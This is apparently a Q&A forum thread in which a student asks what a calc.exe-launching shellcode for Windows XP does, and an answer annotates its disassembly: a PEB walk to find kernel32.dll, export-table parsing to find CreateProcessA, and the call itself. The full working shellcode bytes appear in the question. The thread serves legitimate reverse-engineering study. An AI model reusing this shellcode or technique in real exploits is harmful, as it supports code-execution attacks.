The Shellcode to open Calc.exe too long and complex, can't understand! My first exploit program

Question

I wrote my first exploit program on Windows XP OS using the shellcode i foung on the web. It opens the calculator and the overall program works successfully. However, even though i did not write the shellcode myself, I have to know very well what it does anyway by disassemblying it. It turns out my shellcode is quite long and really complicated (even my teacher says that). This is the binary: char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; And this is the disassembled stuff:

 0:  31 db                   xor    ebx,ebx
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]
12: 8b 3f                   mov    edi,DWORD PTR [edi]
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc
1a: 89 c7                   mov    edi,eax
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
22: 01 c2                   add    edx,eax
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax
29: 89 dd                   mov    ebp,ebx
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
30: 45                      inc    ebp
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax
56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a
5d: 68 63 61 6c 63          push   0x636c6163
62: 89 e2                   mov    edx,esp
64: 52                      push   edx
65: 52                      push   edx
66: 53                      push   ebx
67: 53                      push   ebx
68: 53                      push   ebx
69: 53                      push   ebx
6a: 53                      push   ebx
6b: 53                      push   ebx
6c: 52                      push   edx
6d: 53                      push   ebx
6e: ff d7                   call   edi

As you can tell, it's hella long and confusing. Could anyone explain what it does? I'm more used to shellcodes pushing some function address to a register and then calling it...This is way too advanced for me! Thanks in advance:)

Answer 1

Windows APIs are not defined in terms of system calls like it happens in Linux/BSD.
In order to call an API, a program must load the containing DLL and find the address of the exported procedure (this procedure can range from being the full API implementation to being a small stub around an actuall syscall instruction).

For a shellcode to be able to call an API, it must load the DLL and find the API exported procedure.
Some DLLs are always loaded, even if no dependency is listen in the PE of the loaded program, among this kernel32.dll.

The first part of the shellcode is locating the base address of kernel32.dll, it does so by exploiting the PEB_LDR_DATA structure.
This structure contains the list of loaded modules (DLLs) along with their names and base addresses.
There are actually three double-linked lists, all pointing to the same objectes but in different order and at slightly different offsets.
The shellcode is using the list InInitializationOrderModuleList.

PEB_LDR_DATA is located in the PEB which in turn is located in the the TEB.
The TEB is located in the segment pointed to by fs.

To recap:

FS -> TEB -> PEB -> PEB_LDR_DATA -> InInitializationOrderModuleList

Here a description of the first part

; Zeroes EBX
0:  31 db                   xor    ebx,ebx
; FS points to the TEB, TEB+0x30 is a pointer to the PEB
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
; PEB+0xc is a pointer to PEB_LDR_DATA
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
; PEB_LDR_DATA is a pointer to InInitializationOrderModuleList
; EDI points to a LIST_ENTRY structure
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]

; Start of a loop
; EAX = Base address of the current module
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
; ESI = Ptr to UNICODE basename of the current module
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]

; EDI = Ptr to FLink member
; Move the pointer to the next item
12: 8b 3f                   mov    edi,DWORD PTR [edi]
; Check if character 7 of the DLL base name is 3 (matches kernel32.dll)
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc

What can be confusing here is that the InInitializationOrderModuleList member is a pointer to a LIST_ENTRY structure, this is a variable size structure; at offsets 0 and 4 there must be the FLink and BLink members followed by the custom data. Windows only keep a single LDR_MODULE structure for each DLL, the three list are simply rearranged so that walking them produce the expected order.
Further more each list point into an offset into the LDR_MODULE, specifically the InInitializationOrderModuleList items point to the InInitializationOrderLinks member of the LDR_MODULE.
For a detailed and better explanation, see here.

The end result of the first part is that the base address of kernel32.dll is in eax.

The base address is important because Windows keeps the MZ and PE headers in memory, so a loaded module is just an "expanded" PE.
Particularly it is a valid PE.
The PE layout can be found on Wikipedia.

The second part of the shellcode will attempt to find the address of CreateProcessA.
To do so it need to walk the export section of the PE.
Most (All?) fields in the headers are offsets relative to the start of the headers themselves, when the file is loaded in memory, the offset is called RVA (Relative Virtual Address, relative to the base address).
So you'll see a few add to convert an RVA to a VA (an absolute Virtual Address).

The export section is documented, for example, here.
There is a table with the pointers to the names of the exported functions, this table is coupled (by their index) with the table of ordinals.
If the name CreateWindowEx has index 3 in the table of names, by looking at index 3 in the table of the ordinals we can find its ordinal.
The ordinal of a function is just the index into the table of entry-point addresses.
The structure is laid out so that it's fast to lookup a function by its ordinal yet one can take an extra step and use the name instead.

To recap:

Base address -> PE header -> Export section -> Index of "CreateProcessA" in the names table -> Index of "CreateProcessA" in the ordinals table -> Entry-point of "CreateProcessA"

The commented code is

;EDI = MZ Header
1a: 89 c7                   mov    edi,eax
;EDI = PE Header
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
;EDX = Export section RVA
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
;EDX = Export section VA
22: 01 c2                   add    edx,eax

;EDI = VA of Names table
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax

; Start of a loop over the names
; I = 0
29: 89 dd                   mov    ebp,ebx
; ESI = ptr to the exported function name
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
; I++
30: 45                      inc    ebp
; Name starts with 'Crea'
; Mind the endianness
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
; Name has 'oces' at char 9?
; Mind the endianness
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b

;Name CreateProcessA found
;EBP = Index into the names table of CreateProcessA

; EDI = VA of the Ordinals table
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
; BP = Ordinal number of CreateProcessA
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
; EDI = VA of the Entry-points table
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
; EDI = VA of CreateProcessA
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax

The end result of part 2 is the address of CreateProcessA

The third and final part is simply calling CreateProcessA.

The only odd part is this

56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a

Which creates a 255*4 bytes buffer of zeros, seems useless to me.
The rest should be the usual kind of shellcode you are used to.

---

While it is a bit tedious to RE this shellcode, I suggest going through it by yourself at least once in your career.
I mean reviewing it again checking the offsets and so on.
This is important because this kind of shellcode is pretty standard (any sandbox will detect it) and can be considered a basic block for more advanced techniques.

Also note the shortcuts taken by the shellcode: it is not 100% fail-safe (it doesn't check for exactly kernel32.dll and CreateProcessA) but it is correct enough to work.
This is also very typical.